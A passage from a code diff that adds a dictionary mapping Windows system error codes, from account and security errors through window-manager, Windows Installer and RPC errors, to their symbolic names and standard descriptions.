+        0x00000515: ("ERROR_SOME_NOT_MAPPED", "Some mapping between account names and security IDs was not done."),
+        0x00000516: ("ERROR_NO_QUOTAS_FOR_ACCOUNT", "No system quota limits are specifically set for this account."),
+        0x00000517: ("ERROR_LOCAL_USER_SESSION_KEY", "No encryption key is available. A well-known encryption key was returned."),
+        0x00000518: ("ERROR_NULL_LM_PASSWORD", "The password is too complex to be converted to a LAN Manager password. The LAN Manager password returned is a NULL string."),
+        0x00000519: ("ERROR_UNKNOWN_REVISION", "The revision level is unknown."),
+        0x0000051a: ("ERROR_REVISION_MISMATCH", "Indicates two revision levels are incompatible."),
+        0x0000051b: ("ERROR_INVALID_OWNER", "This security ID may not be assigned as the owner of this object."),
+        0x0000051c: ("ERROR_INVALID_PRIMARY_GROUP", "This security ID may not be assigned as the primary group of an object."),
+        0x0000051d: ("ERROR_NO_IMPERSONATION_TOKEN", "An attempt has been made to operate on an impersonation token by a thread that is not currently impersonating a client."),
+        0x0000051e: ("ERROR_CANT_DISABLE_MANDATORY", "The group may not be disabled."),
+        0x0000051f: ("ERROR_NO_LOGON_SERVERS", "There are currently no logon servers available to service the logon request."),
+        0x00000520: ("ERROR_NO_SUCH_LOGON_SESSION", "A specified logon session does not exist. It may already have been terminated."),
+        0x00000521: ("ERROR_NO_SUCH_PRIVILEGE", "A specified privilege does not exist."),
+        0x00000522: ("ERROR_PRIVILEGE_NOT_HELD", "A required privilege is not held by the client."),
+        0x00000523: ("ERROR_INVALID_ACCOUNT_NAME", "The name provided is not a properly formed account name."),
+        0x00000524: ("ERROR_USER_EXISTS", "The specified account already exists."),
+        0x00000525: ("ERROR_NO_SUCH_USER", "The specified account does not exist."),
+        0x00000526: ("ERROR_GROUP_EXISTS", "The specified group already exists."),
+        0x00000527: ("ERROR_NO_SUCH_GROUP", "The specified group does not exist."),
+        0x00000528: ("ERROR_MEMBER_IN_GROUP", "Either the specified user account is already a member of the specified group, or the specified group cannot be deleted because it contains a member."),
+        0x00000529: ("ERROR_MEMBER_NOT_IN_GROUP", "The specified user account is not a member of the specified group account."),
+        0x0000052a: ("ERROR_LAST_ADMIN", "This operation is disallowed as it could result in an administration account being disabled, deleted or unable to logon."),
+        0x0000052b: ("ERROR_WRONG_PASSWORD", "Unable to update the password. The value provided as the current password is incorrect."),
+        0x0000052c: ("ERROR_ILL_FORMED_PASSWORD", "Unable to update the password. The value provided for the new password contains values that are not allowed in passwords."),
+        0x0000052d: ("ERROR_PASSWORD_RESTRICTION", "Unable to update the password. The value provided for the new password does not meet the length, complexity, or history requirements of the domain."),
+        0x0000052e: ("ERROR_LOGON_FAILURE", "The user name or password is incorrect."),
+        0x0000052f: ("ERROR_ACCOUNT_RESTRICTION", "Account restrictions are preventing this user from signing in. For example: blank passwords aren't allowed, sign-in times are limited, or a policy restriction has been enforced."),
+        0x00000530: ("ERROR_INVALID_LOGON_HOURS", "Your account has time restrictions that keep you from signing in right now."),
+        0x00000531: ("ERROR_INVALID_WORKSTATION", "This user isn't allowed to sign in to this computer."),
+        0x00000532: ("ERROR_PASSWORD_EXPIRED", "The password for this account has expired."),
+        0x00000533: ("ERROR_ACCOUNT_DISABLED", "This user can't sign in because this account is currently disabled."),
+        0x00000534: ("ERROR_NONE_MAPPED", "No mapping between account names and security IDs was done."),
+        0x00000535: ("ERROR_TOO_MANY_LUIDS_REQUESTED", "Too many local user identifiers (LUIDs) were requested at one time."),
+        0x00000536: ("ERROR_LUIDS_EXHAUSTED", "No more local user identifiers (LUIDs) are available."),
+        0x00000537: ("ERROR_INVALID_SUB_AUTHORITY", "The subauthority part of a security ID is invalid for this particular use."),
+        0x00000538: ("ERROR_INVALID_ACL", "The access control list (ACL) structure is invalid."),
+        0x00000539: ("ERROR_INVALID_SID", "The security ID structure is invalid."),
+        0x0000053a: ("ERROR_INVALID_SECURITY_DESCR", "The security descriptor structure is invalid."),
+        0x0000053c: ("ERROR_BAD_INHERITANCE_ACL", "The inherited access control list (ACL) or access control entry (ACE) could not be built."),
+        0x0000053d: ("ERROR_SERVER_DISABLED", "The server is currently disabled."),
+        0x0000053e: ("ERROR_SERVER_NOT_DISABLED", "The server is currently enabled."),
+        0x0000053f: ("ERROR_INVALID_ID_AUTHORITY", "The value provided was an invalid value for an identifier authority."),
+        0x00000540: ("ERROR_ALLOTTED_SPACE_EXCEEDED", "No more memory is available for security information updates."),
+        0x00000541: ("ERROR_INVALID_GROUP_ATTRIBUTES", "The specified attributes are invalid, or incompatible with the attributes for the group as a whole."),
+        0x00000542: ("ERROR_BAD_IMPERSONATION_LEVEL", "Either a required impersonation level was not provided, or the provided impersonation level is invalid."),
+        0x00000543: ("ERROR_CANT_OPEN_ANONYMOUS", "Cannot open an anonymous level security token."),
+        0x00000544: ("ERROR_BAD_VALIDATION_CLASS", "The validation information class requested was invalid."),
+        0x00000545: ("ERROR_BAD_TOKEN_TYPE", "The type of the token is inappropriate for its attempted use."),
+        0x00000546: ("ERROR_NO_SECURITY_ON_OBJECT", "Unable to perform a security operation on an object that has no associated security."),
+        0x00000547: ("ERROR_CANT_ACCESS_DOMAIN_INFO", "Configuration information could not be read from the domain controller, either because the machine is unavailable, or access has been denied."),
+        0x00000548: ("ERROR_INVALID_SERVER_STATE", "The security account manager (SAM) or local security authority (LSA) server was in the wrong state to perform the security operation."),
+        0x00000549: ("ERROR_INVALID_DOMAIN_STATE", "The domain was in the wrong state to perform the security operation."),
+        0x0000054a: ("ERROR_INVALID_DOMAIN_ROLE", "This operation is only allowed for the Primary Domain Controller of the domain."),
+        0x0000054b: ("ERROR_NO_SUCH_DOMAIN", "The specified domain either does not exist or could not be contacted."),
+        0x0000054c: ("ERROR_DOMAIN_EXISTS", "The specified domain already exists."),
+        0x0000054d: ("ERROR_DOMAIN_LIMIT_EXCEEDED", "An attempt was made to exceed the limit on the number of domains per server."),
+        0x0000054e: ("ERROR_INTERNAL_DB_CORRUPTION", "Unable to complete the requested operation because of either a catastrophic media failure or a data structure corruption on the disk."),
+        0x0000054f: ("ERROR_INTERNAL_ERROR", "An internal error occurred."),
+        0x00000550: ("ERROR_GENERIC_NOT_MAPPED", "Generic access types were contained in an access mask which should already be mapped to nongeneric types."),
+        0x00000551: ("ERROR_BAD_DESCRIPTOR_FORMAT", "A security descriptor is not in the right format (absolute or self-relative)."),
+        0x00000552: ("ERROR_NOT_LOGON_PROCESS", "The requested action is restricted for use by logon processes only. The calling process has not registered as a logon process."),
+        0x00000553: ("ERROR_LOGON_SESSION_EXISTS", "Cannot start a new logon session with an ID that is already in use."),
+        0x00000554: ("ERROR_NO_SUCH_PACKAGE", "A specified authentication package is unknown."),
+        0x00000555: ("ERROR_BAD_LOGON_SESSION_STATE", "The logon session is not in a state that is consistent with the requested operation."),
+        0x00000556: ("ERROR_LOGON_SESSION_COLLISION", "The logon session ID is already in use."),
+        0x00000557: ("ERROR_INVALID_LOGON_TYPE", "A logon request contained an invalid logon type value."),
+        0x00000558: ("ERROR_CANNOT_IMPERSONATE", "Unable to impersonate using a named pipe until data has been read from that pipe."),
+        0x00000559: ("ERROR_RXACT_INVALID_STATE", "The transaction state of a registry subtree is incompatible with the requested operation."),
+        0x0000055a: ("ERROR_RXACT_COMMIT_FAILURE", "An internal security database corruption has been encountered."),
+        0x0000055b: ("ERROR_SPECIAL_ACCOUNT", "Cannot perform this operation on built-in accounts."),
+        0x0000055c: ("ERROR_SPECIAL_GROUP", "Cannot perform this operation on this built-in special group."),
+        0x0000055d: ("ERROR_SPECIAL_USER", "Cannot perform this operation on this built-in special user."),
+        0x0000055e: ("ERROR_MEMBERS_PRIMARY_GROUP", "The user cannot be removed from a group because the group is currently the user's primary group."),
+        0x0000055f: ("ERROR_TOKEN_ALREADY_IN_USE", "The token is already in use as a primary token."),
+        0x00000560: ("ERROR_NO_SUCH_ALIAS", "The specified local group does not exist."),
+        0x00000561: ("ERROR_MEMBER_NOT_IN_ALIAS", "The specified account name is not a member of the group."),
+        0x00000562: ("ERROR_MEMBER_IN_ALIAS", "The specified account name is already a member of the group."),
+        0x00000563: ("ERROR_ALIAS_EXISTS", "The specified local group already exists."),
+        0x00000564: ("ERROR_LOGON_NOT_GRANTED", "Logon failure: the user has not been granted the requested logon type at this computer."),
+        0x00000565: ("ERROR_TOO_MANY_SECRETS", "The maximum number of secrets that may be stored in a single system has been exceeded."),
+        0x00000566: ("ERROR_SECRET_TOO_LONG", "The length of a secret exceeds the maximum length allowed."),
+        0x00000567: ("ERROR_INTERNAL_DB_ERROR", "The local security authority database contains an internal inconsistency."),
+        0x00000568: ("ERROR_TOO_MANY_CONTEXT_IDS", "During a logon attempt, the user's security context accumulated too many security IDs."),
+        0x00000569: ("ERROR_LOGON_TYPE_NOT_GRANTED", "Logon failure: the user has not been granted the requested logon type at this computer."),
+        0x0000056a: ("ERROR_NT_CROSS_ENCRYPTION_REQUIRED", "A cross-encrypted password is necessary to change a user password."),
+        0x0000056b: ("ERROR_NO_SUCH_MEMBER", "A member could not be added to or removed from the local group because the member does not exist."),
+        0x0000056c: ("ERROR_INVALID_MEMBER", "A new member could not be added to a local group because the member has the wrong account type."),
+        0x0000056d: ("ERROR_TOO_MANY_SIDS", "Too many security IDs have been specified."),
+        0x0000056e: ("ERROR_LM_CROSS_ENCRYPTION_REQUIRED", "A cross-encrypted password is necessary to change this user password."),
+        0x0000056f: ("ERROR_NO_INHERITANCE", "Indicates an ACL contains no inheritable components."),
+        0x00000570: ("ERROR_FILE_CORRUPT", "The file or directory is corrupted and unreadable."),
+        0x00000571: ("ERROR_DISK_CORRUPT", "The disk structure is corrupted and unreadable."),
+        0x00000572: ("ERROR_NO_USER_SESSION_KEY", "There is no user session key for the specified logon session."),
+        0x00000573: ("ERROR_LICENSE_QUOTA_EXCEEDED", "The service being accessed is licensed for a particular number of connections. No more connections can be made to the service at this time because there are already as many connections as the service can accept."),
+        0x00000574: ("ERROR_WRONG_TARGET_NAME", "The target account name is incorrect."),
+        0x00000575: ("ERROR_MUTUAL_AUTH_FAILED", "Mutual Authentication failed. The server's password is out of date at the domain controller."),
+        0x00000576: ("ERROR_TIME_SKEW", "There is a time and/or date difference between the client and server."),
+        0x00000577: ("ERROR_CURRENT_DOMAIN_NOT_ALLOWED", "This operation cannot be performed on the current domain."),
+        0x00000578: ("ERROR_INVALID_WINDOW_HANDLE", "Invalid window handle."),
+        0x00000579: ("ERROR_INVALID_MENU_HANDLE", "Invalid menu handle."),
+        0x0000057a: ("ERROR_INVALID_CURSOR_HANDLE", "Invalid cursor handle."),
+        0x0000057b: ("ERROR_INVALID_ACCEL_HANDLE", "Invalid accelerator table handle."),
+        0x0000057c: ("ERROR_INVALID_HOOK_HANDLE", "Invalid hook handle."),
+        0x0000057d: ("ERROR_INVALID_DWP_HANDLE", "Invalid handle to a multiple-window position structure."),
+        0x0000057e: ("ERROR_TLW_WITH_WSCHILD", "Cannot create a top-level child window."),
+        0x0000057f: ("ERROR_CANNOT_FIND_WND_CLASS", "Cannot find window class."),
+        0x00000580: ("ERROR_WINDOW_OF_OTHER_THREAD", "Invalid window; it belongs to other thread."),
+        0x00000581: ("ERROR_HOTKEY_ALREADY_REGISTERED", "Hot key is already registered."),
+        0x00000582: ("ERROR_CLASS_ALREADY_EXISTS", "Class already exists."),
+        0x00000583: ("ERROR_CLASS_DOES_NOT_EXIST", "Class does not exist."),
+        0x00000584: ("ERROR_CLASS_HAS_WINDOWS", "Class still has open windows."),
+        0x00000585: ("ERROR_INVALID_INDEX", "Invalid index."),
+        0x00000586: ("ERROR_INVALID_ICON_HANDLE", "Invalid icon handle."),
+        0x00000587: ("ERROR_PRIVATE_DIALOG_INDEX", "Using private DIALOG window words."),
+        0x00000588: ("ERROR_LISTBOX_ID_NOT_FOUND", "The list box identifier was not found."),
+        0x00000589: ("ERROR_NO_WILDCARD_CHARACTERS", "No wildcards were found."),
+        0x0000058a: ("ERROR_CLIPBOARD_NOT_OPEN", "Thread does not have a clipboard open."),
+        0x0000058b: ("ERROR_HOTKEY_NOT_REGISTERED", "Hot key is not registered."),
+        0x0000058c: ("ERROR_WINDOW_NOT_DIALOG", "The window is not a valid dialog window."),
+        0x0000058d: ("ERROR_CONTROL_ID_NOT_FOUND", "Control ID not found."),
+        0x0000058e: ("ERROR_INVALID_COMBOBOX_MESSAGE", "Invalid message for a combo box because it does not have an edit control."),
+        0x0000058f: ("ERROR_WINDOW_NOT_COMBOBOX", "The window is not a combo box."),
+        0x00000590: ("ERROR_INVALID_EDIT_HEIGHT", "Height must be less than 256."),
+        0x00000591: ("ERROR_DC_NOT_FOUND", "Invalid device context (DC) handle."),
+        0x00000592: ("ERROR_INVALID_HOOK_FILTER", "Invalid hook procedure type."),
+        0x00000593: ("ERROR_INVALID_FILTER_PROC", "Invalid hook procedure."),
+        0x00000594: ("ERROR_HOOK_NEEDS_HMOD", "Cannot set nonlocal hook without a module handle."),
+        0x00000595: ("ERROR_GLOBAL_ONLY_HOOK", "This hook procedure can only be set globally."),
+        0x00000596: ("ERROR_JOURNAL_HOOK_SET", "The journal hook procedure is already installed."),
+        0x00000597: ("ERROR_HOOK_NOT_INSTALLED", "The hook procedure is not installed."),
+        0x00000598: ("ERROR_INVALID_LB_MESSAGE", "Invalid message for single-selection list box."),
+        0x00000599: ("ERROR_SETCOUNT_ON_BAD_LB", "LB_SETCOUNT sent to non-lazy list box."),
+        0x0000059a: ("ERROR_LB_WITHOUT_TABSTOPS", "This list box does not support tab stops."),
+        0x0000059b: ("ERROR_DESTROY_OBJECT_OF_OTHER_THREAD", "Cannot destroy object created by another thread."),
+        0x0000059c: ("ERROR_CHILD_WINDOW_MENU", "Child windows cannot have menus."),
+        0x0000059d: ("ERROR_NO_SYSTEM_MENU", "The window does not have a system menu."),
+        0x0000059e: ("ERROR_INVALID_MSGBOX_STYLE", "Invalid message box style."),
+        0x0000059f: ("ERROR_INVALID_SPI_VALUE", "Invalid system-wide (SPI_*) parameter."),
+        0x000005a0: ("ERROR_SCREEN_ALREADY_LOCKED", "Screen already locked."),
+        0x000005a1: ("ERROR_HWNDS_HAVE_DIFF_PARENT", "All handles to windows in a multiple-window position structure must have the same parent."),
+        0x000005a2: ("ERROR_NOT_CHILD_WINDOW", "The window is not a child window."),
+        0x000005a3: ("ERROR_INVALID_GW_COMMAND", "Invalid GW_* command."),
+        0x000005a4: ("ERROR_INVALID_THREAD_ID", "Invalid thread identifier."),
+        0x000005a5: ("ERROR_NON_MDICHILD_WINDOW", "Cannot process a message from a window that is not a multiple document interface (MDI) window."),
+        0x000005a6: ("ERROR_POPUP_ALREADY_ACTIVE", "Popup menu already active."),
+        0x000005a7: ("ERROR_NO_SCROLLBARS", "The window does not have scroll bars."),
+        0x000005a8: ("ERROR_INVALID_SCROLLBAR_RANGE", "Scroll bar range cannot be greater than MAXLONG."),
+        0x000005a9: ("ERROR_INVALID_SHOWWIN_COMMAND", "Cannot show or remove the window in the way specified."),
+        0x000005aa: ("ERROR_NO_SYSTEM_RESOURCES", "Insufficient system resources exist to complete the requested service."),
+        0x000005ab: ("ERROR_NONPAGED_SYSTEM_RESOURCES", "Insufficient system resources exist to complete the requested service."),
+        0x000005ac: ("ERROR_PAGED_SYSTEM_RESOURCES", "Insufficient system resources exist to complete the requested service."),
+        0x000005ad: ("ERROR_WORKING_SET_QUOTA", "Insufficient quota to complete the requested service."),
+        0x000005ae: ("ERROR_PAGEFILE_QUOTA", "Insufficient quota to complete the requested service."),
+        0x000005af: ("ERROR_COMMITMENT_LIMIT", "The paging file is too small for this operation to complete."),
+        0x000005b0: ("ERROR_MENU_ITEM_NOT_FOUND", "A menu item was not found."),
+        0x000005b1: ("ERROR_INVALID_KEYBOARD_HANDLE", "Invalid keyboard layout handle."),
+        0x000005b2: ("ERROR_HOOK_TYPE_NOT_ALLOWED", "Hook type not allowed."),
+        0x000005b3: ("ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION", "This operation requires an interactive window station."),
+        0x000005b4: ("ERROR_TIMEOUT", "This operation returned because the timeout period expired."),
+        0x000005b5: ("ERROR_INVALID_MONITOR_HANDLE", "Invalid monitor handle."),
+        0x000005b6: ("ERROR_INCORRECT_SIZE", "Incorrect size argument."),
+        0x000005b7: ("ERROR_SYMLINK_CLASS_DISABLED", "The symbolic link cannot be followed because its type is disabled."),
+        0x000005b8: ("ERROR_SYMLINK_NOT_SUPPORTED", "This application does not support the current operation on symbolic links."),
+        0x000005b9: ("ERROR_XML_PARSE_ERROR", "Windows was unable to parse the requested XML data."),
+        0x000005ba: ("ERROR_XMLDSIG_ERROR", "An error was encountered while processing an XML digital signature."),
+        0x000005bb: ("ERROR_RESTART_APPLICATION", "This application must be restarted."),
+        0x000005bc: ("ERROR_WRONG_COMPARTMENT", "The caller made the connection request in the wrong routing compartment."),
+        0x000005bd: ("ERROR_AUTHIP_FAILURE", "There was an AuthIP failure when attempting to connect to the remote host."),
+        0x000005be: ("ERROR_NO_NVRAM_RESOURCES", "Insufficient NVRAM resources exist to complete the requested service. A reboot might be required."),
+        0x000005bf: ("ERROR_NOT_GUI_PROCESS", "Unable to finish the requested operation because the specified process is not a GUI process."),
+        0x000005dc: ("ERROR_EVENTLOG_FILE_CORRUPT", "The event log file is corrupted."),
+        0x000005dd: ("ERROR_EVENTLOG_CANT_START", "No event log file could be opened, so the event logging service did not start."),
+        0x000005de: ("ERROR_LOG_FILE_FULL", "The event log file is full."),
+        0x000005df: ("ERROR_EVENTLOG_FILE_CHANGED", "The event log file has changed between read operations."),
+        0x0000060e: ("ERROR_INVALID_TASK_NAME", "The specified task name is invalid."),
+        0x0000060f: ("ERROR_INVALID_TASK_INDEX", "The specified task index is invalid."),
+        0x00000610: ("ERROR_THREAD_ALREADY_IN_TASK", "The specified thread is already joining a task."),
+        0x00000641: ("ERROR_INSTALL_SERVICE_FAILURE", "The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance."),
+        0x00000642: ("ERROR_INSTALL_USEREXIT", "User cancelled installation."),
+        0x00000643: ("ERROR_INSTALL_FAILURE", "Fatal error during installation."),
+        0x00000644: ("ERROR_INSTALL_SUSPEND", "Installation suspended, incomplete."),
+        0x00000645: ("ERROR_UNKNOWN_PRODUCT", "This action is only valid for products that are currently installed."),
+        0x00000646: ("ERROR_UNKNOWN_FEATURE", "Feature ID not registered."),
+        0x00000647: ("ERROR_UNKNOWN_COMPONENT", "Component ID not registered."),
+        0x00000648: ("ERROR_UNKNOWN_PROPERTY", "Unknown property."),
+        0x00000649: ("ERROR_INVALID_HANDLE_STATE", "Handle is in an invalid state."),
+        0x0000064a: ("ERROR_BAD_CONFIGURATION", "The configuration data for this product is corrupt. Contact your support personnel."),
+        0x0000064b: ("ERROR_INDEX_ABSENT", "Component qualifier not present."),
+        0x0000064c: ("ERROR_INSTALL_SOURCE_ABSENT", "The installation source for this product is not available. Verify that the source exists and that you can access it."),
+        0x0000064d: ("ERROR_INSTALL_PACKAGE_VERSION", "This installation package cannot be installed by the Windows Installer service. You must install a Windows service pack that contains a newer version of the Windows Installer service."),
+        0x0000064e: ("ERROR_PRODUCT_UNINSTALLED", "Product is uninstalled."),
+        0x0000064f: ("ERROR_BAD_QUERY_SYNTAX", "SQL query syntax invalid or unsupported."),
+        0x00000650: ("ERROR_INVALID_FIELD", "Record field does not exist."),
+        0x00000651: ("ERROR_DEVICE_REMOVED", "The device has been removed."),
+        0x00000652: ("ERROR_INSTALL_ALREADY_RUNNING", "Another installation is already in progress. Complete that installation before proceeding with this install."),
+        0x00000653: ("ERROR_INSTALL_PACKAGE_OPEN_FAILED", "This installation package could not be opened. Verify that the package exists and that you can access it, or contact the application vendor to verify that this is a valid Windows Installer package."),
+        0x00000654: ("ERROR_INSTALL_PACKAGE_INVALID", "This installation package could not be opened. Contact the application vendor to verify that this is a valid Windows Installer package."),
+        0x00000655: ("ERROR_INSTALL_UI_FAILURE", "There was an error starting the Windows Installer service user interface. Contact your support personnel."),
+        0x00000656: ("ERROR_INSTALL_LOG_FAILURE", "Error opening installation log file. Verify that the specified log file location exists and that you can write to it."),
+        0x00000657: ("ERROR_INSTALL_LANGUAGE_UNSUPPORTED", "The language of this installation package is not supported by your system."),
+        0x00000658: ("ERROR_INSTALL_TRANSFORM_FAILURE", "Error applying transforms. Verify that the specified transform paths are valid."),
+        0x00000659: ("ERROR_INSTALL_PACKAGE_REJECTED", "This installation is forbidden by system policy. Contact your system administrator."),
+        0x0000065a: ("ERROR_FUNCTION_NOT_CALLED", "Function could not be executed."),
+        0x0000065b: ("ERROR_FUNCTION_FAILED", "Function failed during execution."),
+        0x0000065c: ("ERROR_INVALID_TABLE", "Invalid or unknown table specified."),
+        0x0000065d: ("ERROR_DATATYPE_MISMATCH", "Data supplied is of wrong type."),
+        0x0000065e: ("ERROR_UNSUPPORTED_TYPE", "Data of this type is not supported."),
+        0x0000065f: ("ERROR_CREATE_FAILED", "The Windows Installer service failed to start. Contact your support personnel."),
+        0x00000660: ("ERROR_INSTALL_TEMP_UNWRITABLE", "The Temp folder is on a drive that is full or is inaccessible. Free up space on the drive or verify that you have write permission on the Temp folder."),
+        0x00000661: ("ERROR_INSTALL_PLATFORM_UNSUPPORTED", "This installation package is not supported by this processor type. Contact your product vendor."),
+        0x00000662: ("ERROR_INSTALL_NOTUSED", "Component not used on this computer."),
+        0x00000663: ("ERROR_PATCH_PACKAGE_OPEN_FAILED", "This update package could not be opened. Verify that the update package exists and that you can access it, or contact the application vendor to verify that this is a valid Windows Installer update package."),
+        0x00000664: ("ERROR_PATCH_PACKAGE_INVALID", "This update package could not be opened. Contact the application vendor to verify that this is a valid Windows Installer update package."),
+        0x00000665: ("ERROR_PATCH_PACKAGE_UNSUPPORTED", "This update package cannot be processed by the Windows Installer service. You must install a Windows service pack that contains a newer version of the Windows Installer service."),
+        0x00000666: ("ERROR_PRODUCT_VERSION", "Another version of this product is already installed. Installation of this version cannot continue. To configure or remove the existing version of this product, use Add/Remove Programs on the Control Panel."),
+        0x00000667: ("ERROR_INVALID_COMMAND_LINE", "Invalid command line argument. Consult the Windows Installer SDK for detailed command line help."),
+        0x00000668: ("ERROR_INSTALL_REMOTE_DISALLOWED", "Only administrators have permission to add, remove, or configure server software during a Terminal services remote session. If you want to install or configure software on the server, contact your network administrator."),
+        0x00000669: ("ERROR_SUCCESS_REBOOT_INITIATED", "The requested operation completed successfully. The system will be restarted so the changes can take effect."),
+        0x0000066a: ("ERROR_PATCH_TARGET_NOT_FOUND", "The upgrade cannot be installed by the Windows Installer service because the program to be upgraded may be missing, or the upgrade may update a different version of the program. Verify that the program to be upgraded exists on your computer and that you have the correct upgrade."),
+        0x0000066b: ("ERROR_PATCH_PACKAGE_REJECTED", "The update package is not permitted by software restriction policy."),
+        0x0000066c: ("ERROR_INSTALL_TRANSFORM_REJECTED", "One or more customizations are not permitted by software restriction policy."),
+        0x0000066d: ("ERROR_INSTALL_REMOTE_PROHIBITED", "The Windows Installer does not permit installation from a Remote Desktop Connection."),
+        0x0000066e: ("ERROR_PATCH_REMOVAL_UNSUPPORTED", "Uninstallation of the update package is not supported."),
+        0x0000066f: ("ERROR_UNKNOWN_PATCH", "The update is not applied to this product."),
+        0x00000670: ("ERROR_PATCH_NO_SEQUENCE", "No valid sequence could be found for the set of updates."),
+        0x00000671: ("ERROR_PATCH_REMOVAL_DISALLOWED", "Update removal was disallowed by policy."),
+        0x00000672: ("ERROR_INVALID_PATCH_XML", "The XML update data is invalid."),
+        0x00000673: ("ERROR_PATCH_MANAGED_ADVERTISED_PRODUCT", "Windows Installer does not permit updating of managed advertised products. At least one feature of the product must be installed before applying the update."),
+        0x00000674: ("ERROR_INSTALL_SERVICE_SAFEBOOT", "The Windows Installer service is not accessible in Safe Mode. Please try again when your computer is not in Safe Mode or you can use System Restore to return your machine to a previous good state."),
+        0x00000675: ("ERROR_FAIL_FAST_EXCEPTION", "A fail fast exception occurred. Exception handlers will not be invoked and the process will be terminated immediately."),
+        0x00000676: ("ERROR_INSTALL_REJECTED", "The app that you are trying to run is not supported on this version of Windows."),
+        0x000006a4: ("RPC_S_INVALID_STRING_BINDING", "The string binding is invalid."),
+        0x000006a5: ("RPC_S_WRONG_KIND_OF_BINDING", "The binding handle is not the correct type."),
+        0x000006a6: ("RPC_S_INVALID_BINDING", "The binding handle is invalid."),
+        0x000006a7: ("RPC_S_PROTSEQ_NOT_SUPPORTED", "The RPC protocol sequence is not supported."),
+        0x000006a8: ("RPC_S_INVALID_RPC_PROTSEQ", "The RPC protocol sequence is invalid."),
+        0x000006a9: ("RPC_S_INVALID_STRING_UUID", "The string universal unique identifier (UUID) is invalid."),
+        0x000006aa: ("RPC_S_INVALID_ENDPOINT_FORMAT", "The endpoint format is invalid."),
+        0x000006ab: ("RPC_S_INVALID_NET_ADDR", "The network address is invalid."),
+        0x000006ac: ("RPC_S_NO_ENDPOINT_FOUND", "No endpoint was found."),
+        0x000006ad: ("RPC_S_INVALID_TIMEOUT", "The timeout value is invalid."),
+        0x000006ae: ("RPC_S_OBJECT_NOT_FOUND", "The object universal unique identifier (UUID) was not found."),
+        0x000006af: ("RPC_S_ALREADY_REGISTERED", "The object universal unique identifier (UUID) has already been registered."),
+        0x000006b0: ("RPC_S_TYPE_ALREADY_REGISTERED", "The type universal unique identifier (UUID) has already been registered."),
+        0x000006b1: ("RPC_S_ALREADY_LISTENING", "The RPC server is already listening."),
+        0x000006b2: ("RPC_S_NO_PROTSEQS_REGISTERED", "No protocol sequences have been registered."),
+        0x000006b3: ("RPC_S_NOT_LISTENING", "The RPC server is not listening."),
+        0x000006b4: ("RPC_S_UNKNOWN_MGR_TYPE", "The manager type is unknown."),
+        0x000006b5: ("RPC_S_UNKNOWN_IF", "The interface is unknown."),
+        0x000006b6: ("RPC_S_NO_BINDINGS", "There are no bindings."),
+        0x000006b7: ("RPC_S_NO_PROTSEQS", "There are no protocol sequences."),
+        0x000006b8: ("RPC_S_CANT_CREATE_ENDPOINT", "The endpoint cannot be created."),
+        0x000006b9: ("RPC_S_OUT_OF_RESOURCES", "Not enough resources are available to complete this operation."),
+        0x000006ba: ("RPC_S_SERVER_UNAVAILABLE", "The RPC server is unavailable."),
+        0x000006bb: ("RPC_S_SERVER_TOO_BUSY", "The RPC server is too busy to complete this operation."),
+        0x000006bc: ("RPC_S_INVALID_NETWORK_OPTIONS", "The network options are invalid."),
+        0x000006bd: ("RPC_S_NO_CALL_ACTIVE", "There are no remote procedure calls active on this thread."),
+        0x000006be: ("RPC_S_CALL_FAILED", "The remote procedure call failed."),
+        0x000006bf: ("RPC_S_CALL_FAILED_DNE", "The remote procedure call failed and did not execute."),
+        0x000006c0: ("RPC_S_PROTOCOL_ERROR", "A remote procedure call (RPC) protocol error occurred."),
+        0x000006c1: ("RPC_S_PROXY_ACCESS_DENIED", "Access to the HTTP proxy is denied."),
+        0x000006c2: ("RPC_S_UNSUPPORTED_TRANS_SYN", "The transfer syntax is not supported by the RPC server."),
+        0x000006c4: ("RPC_S_UNSUPPORTED_TYPE", "The universal unique identifier (UUID) type is not supported."),
+        0x000006c5: ("RPC_S_INVALID_TAG", "The tag is invalid."),
+        0x000006c6: ("RPC_S_INVALID_BOUND", "The array bounds are invalid."),
+        0x000006c7: ("RPC_S_NO_ENTRY_NAME", "The binding does not contain an entry name."),
+        0x000006c8: ("RPC_S_INVALID_NAME_SYNTAX", "The name syntax is invalid."),
+        0x000006c9: ("RPC_S_UNSUPPORTED_NAME_SYNTAX", "The name syntax is not supported."),
+        0x000006cb: ("RPC_S_UUID_NO_ADDRESS", "No network address is available to use to construct a universal unique identifier (UUID)."),
+        0x000006cc: ("RPC_S_DUPLICATE_ENDPOINT", "The endpoint is a duplicate."),
+        0x000006cd: ("RPC_S_UNKNOWN_AUTHN_TYPE", "The authentication type is unknown."),
+        0x000006ce: ("RPC_S_MAX_CALLS_TOO_SMALL", "The maximum number of calls is too small."),
+        0x000006cf: ("RPC_S_STRING_TOO_LONG", "The string is too long."),
+        0x000006d0: ("RPC_S_PROTSEQ_NOT_FOUND", "The RPC protocol sequence was not found."),
+        0x000006d1: ("RPC_S_PROCNUM_OUT_OF_RANGE", "The procedure number is out of range."),
+        0x000006d2: ("RPC_S_BINDING_HAS_NO_AUTH", "The binding does not contain any authentication information."),
+        0x000006d3: ("RPC_S_UNKNOWN_AUTHN_SERVICE", "The authentication service is unknown."),
+        0x000006d4: ("RPC_S_UNKNOWN_AUTHN_LEVEL", "The authentication level is unknown."),
+        0x000006d5: ("RPC_S_INVALID_AUTH_IDENTITY", "The security context is invalid."),
+        0x000006d6: ("RPC_S_UNKNOWN_AUTHZ_SERVICE", "The authorization service is unknown."),
+        0x000006d7: ("EPT_S_INVALID_ENTRY", "The entry is invalid."),
+        0x000006d8: ("EPT_S_CANT_PERFORM_OP", "The server endpoint cannot perform the operation."),
+        0x000006d9: ("EPT_S_NOT_REGISTERED", "There are no more endpoints available from the endpoint mapper."),
+        0x000006da: ("RPC_S_NOTHING_TO_EXPORT", "No interfaces have been exported."),
+        0x000006db: ("RPC_S_INCOMPLETE_NAME", "The entry name is incomplete."),
+        0x000006dc: ("RPC_S_INVALID_VERS_OPTION", "The version option is invalid."),
+        0x000006dd: ("RPC_S_NO_MORE_MEMBERS", "There are no more members."),
+        0x000006de: ("RPC_S_NOT_ALL_OBJS_UNEXPORTED", "There is nothing to unexport."),
+        0x000006df: ("RPC_S_INTERFACE_NOT_FOUND", "The interface was not found."),
+        0x000006e0: ("RPC_S_ENTRY_ALREADY_EXISTS", "The entry already exists."),
+        0x000006e1: ("RPC_S_ENTRY_NOT_FOUND", "The entry is not found."),
